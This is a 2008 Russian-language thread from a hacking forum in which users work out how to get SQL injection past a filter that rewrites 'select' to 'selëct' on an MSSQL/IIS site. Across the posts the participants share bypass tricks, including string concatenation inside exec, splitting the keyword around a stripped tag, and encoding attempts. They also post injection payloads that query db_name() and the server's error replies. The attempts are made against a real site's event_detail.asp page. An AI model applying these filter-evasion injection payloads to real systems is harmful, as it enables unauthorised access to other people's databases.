HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

фильтрация select в mssql
  #1  
Старый 01.07.2008, 15:07
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
С нами: 9436363

Репутация: 55
По умолчанию фильтрация select в mssql

вот впервые столкнулся с такой интересной фильтрацией:

если в теле запроса видит select то переводит его в такой вид:

Код:
selëct db_name()
и соотвественно скуль ругается:

Код:
Line 1: Incorrect syntax near ';'.
т.е. вместо второе е подставляет html значение немецкой ё - ë

попытки закодировать select в %73%65%6C%65%63%74

успеха не принесли

если ли еще какие-то варианты?
 
Ответить с цитированием

  #2  
Старый 01.07.2008, 15:15
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
С нами: 9436363

Репутация: 55
По умолчанию

там же Iis и винда, а ей пофиг на регистр
 
Ответить с цитированием

  #3  
Старый 02.07.2008, 08:29
Dima-k17
Познающий
Регистрация: 15.09.2005
Сообщений: 60
С нами: 10869277

Репутация: 52
По умолчанию

ээээ... Я правильно понял твою проблему?
Код:
;exec ("SELE"+"CT users"+"FROM tables")
 
Ответить с цитированием

  #4  
Старый 03.07.2008, 10:15
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
С нами: 9436363

Репутация: 55
По умолчанию

я вообще не встречал, чтоб такая фича гдето работала
 
Ответить с цитированием

  #5  
Старый 03.07.2008, 14:01
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
С нами: 10254549

Репутация: 227
По умолчанию

посоветую поискать какие слова/символы вырезаются. Именно вырезаются. Так, например, если вырезается тег <script>, то запрос нужно желать таким: se<script>lect
 
Ответить с цитированием

  #6  
Старый 04.07.2008, 12:24
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
С нами: 9436363

Репутация: 55
По умолчанию

так ведь, дык не вырезается а заменяет на ё

Dima-k17

отвечает:


Цитата:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'ect'.

/event_detail.asp, line 44
обрамляем скобками и видим что не нравится:


Цитата:
1 or 1=(["sel"+"ect" db_name()])--
Цитата:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Invalid column name '"sel" "ect" db_name()'.

/event_detail.asp, line 44
т.е. при таком запросе просто отбрасывает sel

если пробовать так:


Цитата:
4696; exec (select db_name())--
то ответ:


Цитата:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'ex'.

/event_detail.asp, line 44
подставляем скобки:

Цитата:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'ex&euml;c (sel&euml;ct db_name())'.

/event_detail.asp, line 44
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
MySQL Injection Cheat Sheet xcedz Болталка 3 13.02.2008 03:21



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.